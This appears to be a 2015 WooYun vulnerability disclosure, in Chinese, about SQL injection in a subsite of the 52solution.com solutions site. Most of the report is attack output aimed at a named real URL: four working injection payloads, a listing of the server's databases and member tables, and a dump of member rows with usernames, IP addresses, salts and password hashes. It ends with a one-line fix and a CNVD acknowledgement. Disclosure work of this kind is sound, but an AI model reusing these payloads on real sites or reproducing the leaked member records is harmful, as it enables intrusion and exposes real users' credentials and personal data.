漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0130861
漏洞标题：我爱方案网某分站SQL注入导致全网数据沦陷+24w会员数据测漏
相关厂商：深圳市中电网络技术有限公司
漏洞作者： 路人甲
提交时间：2015-08-04 12:51
修复时间：2015-09-21 11:38
公开时间：2015-09-21 11:38
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-08-04： 细节已通知厂商并且等待厂商处理中
2015-08-07： 厂商已经确认，细节仅向厂商公开
2015-08-17： 细节向核心白帽子及相关领域专家公开
2015-08-27： 细节向普通白帽子公开
2015-09-06： 细节向实习白帽子公开
2015-09-21： 细节向公众公开
简要描述：
我爱方案网SQL注入导致全网数据沦陷+24w会员数据测漏
详细说明：
http://tao.52solution.com/scheme/index/jump?id=8 (GET)
漏洞证明：
Place: GET
Parameter: id
Type: boolean-based blind
Title: MySQL boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (RLIKE)
Payload: id=8' RLIKE (SELECT (CASE WHEN (5557=5557) THEN 8 ELSE 0x28 END)) AND 'YaLz'='YaLz
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
Payload: id=8' AND (SELECT 2635 FROM(SELECT COUNT(*),CONCAT(0x716e706371,(SELECT (CASE WHEN (2635=2635) THEN 1 ELSE 0 END)),0x7164666971,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'vjVf'='vjVf
Type: stacked queries
Title: MySQL > 5.0.11 stacked queries
Payload: id=8'; SELECT SLEEP(5)--
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: id=8' AND SLEEP(5) AND 'fJXF'='fJXF
---
web server operating system: Linux Ubuntu 13.04 or 12.04 or 12.10 (Raring Ringtail or Precise Pangolin or Quantal Quetzal)
web application technology: Apache 2.2.22, PHP 5.3.10
back-end DBMS: MySQL 5.0
available databases [9]:
[*] 52dx
[*] 52zb
[*] cntdx
[*] cntronics
[*] information_schema
[*] limesurvey
[*] mysql
[*] performance_schema
[*] uc
Database: uc
+-----------------------------+---------+
| Table | Entries |
+-----------------------------+---------+
| uc_memberfields | 242562 |
| uc_members | 242530 |
| uc_memberfields_bak090713 | 75650 |
| uc_members_bak090713 | 75588 |
| uc_memberfields_bak090622 | 54601 |
| uc_members_bak090622 | 54539 |
| uc_friends | 22474 |
| uc_memberfields_bak20090429 | 21121 |
| uc_members_bak20090429 | 21059 |
| uc_pms | 8953 |
| uc_pm_members | 1467 |
| uc_pm_indexes | 1380 |
| uc_newpm | 1075 |
| uc_pm_lists | 744 |
| uc_notelist | 646 |
| uc_pm_messages_5 | 172 |
| uc_pm_messages_9 | 164 |
| uc_pm_messages_8 | 163 |
| uc_pm_messages_3 | 137 |
| uc_pm_messages_2 | 133 |
| uc_pm_messages_7 | 131 |
| uc_pm_messages_1 | 130 |
| uc_pm_messages_4 | 127 |
| uc_pm_messages_0 | 113 |
| uc_pm_messages_6 | 110 |
| uc_settings | 28 |
| uc_vars | 10 |
| uc_applications | 9 |
| uc_protectedmembers | 4 |
| uc_failedlogins | 1 |
+-----------------------------+---------+
+-----+---------+---------+--------+----------------+-------------------------+---------+------------+-----------+----------------------------------+-------------+---------------+
| uid | myid | myidkey | salt | regip | email | secques | regdate | username | password | lastloginip | lastlogintime |
+-----+---------+---------+--------+----------------+-------------------------+---------+------------+-----------+----------------------------------+-------------+---------------+
| 1 | <blank> | <blank> | 151376 | 192.168.1.123 | [email protected] | <blank> | 1222150046 | admin | 1b947e51795edf0efbb17d94808a8664 | 0 | 0 |
| 75 | <blank> | <blank> | 697843 | 192.168.1.123 | [email protected] | <blank> | 1223519096 | steven | 780f3ec6cc94ad054b688be8efe2ee92 | 0 | 0 |
| 90 | <blank> | <blank> | cbc7c1 | 119.123.202.86 | [email protected] | <blank> | 1223967308 | hongenhui | ede5c5ca4bcf2d8c76f600eb87eca027 | 0 | 0 |
| 91 | <blank> | <blank> | 75da5d | 119.123.202.86 | [email protected] | <blank> | 1223967559 | piter | 84fc6e7cf8f68b3be1cbfda954ae34de | 0 | 0 |
| 92 | <blank> | <blank> | 95513a | 119.123.202.86 | [email protected] | <blank> | 1223968137 | Andy | 97fe7e76db0c88946a281c75922ad36c | 0 | 0 |
| 93 | <blank> | <blank> | 39da1c | 116.7.87.206 | [email protected] | <blank> | 1224136931 | 小雨一夜 | 799b9ec7605b1d10a9e08f07ca385c9e | 0 | 0 |
| 94 | <blank> | <blank> | f77eac | 116.7.87.206 | [email protected] | <blank> | 1224138239 | Albert | 2089f671944f06fc2bd04e98dbbda11a | 0 | 0 |
| 96 | <blank> | <blank> | 7b06d3 | 116.24.228.241 | [email protected] | <blank> | 1225073895 | pulake | 293b60b913fa6b813ddf51ba22b59863 | 0 | 0 |
| 98 | <blank> | <blank> | 9e35a6 | 116.24.229.63 | [email protected] | <blank> | 1225095529 | lion364 | 06ffcf1d123300b8f1f70b7ec629f73a | 0 | 0 |
| 99 | <blank> | <blank> | 3cb223 | 116.24.229.63 | [email protected] | <blank> | 1225099139 | 天蓝 | 90cd2a4ea306c979b43536b849f70ec5 | 0 | 0 |
+-----+---------+---------+--------+----------------+-------------------------+---------+------------+-----------+----------------------------------+-------------+---------------+
修复方案：
参数过滤
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：10
确认时间：2015-08-07 11:36
厂商回复：
CNVD确认所述漏洞情况，暂未建立与网站管理单位的直接处置渠道，待认领。
最新状态：
暂无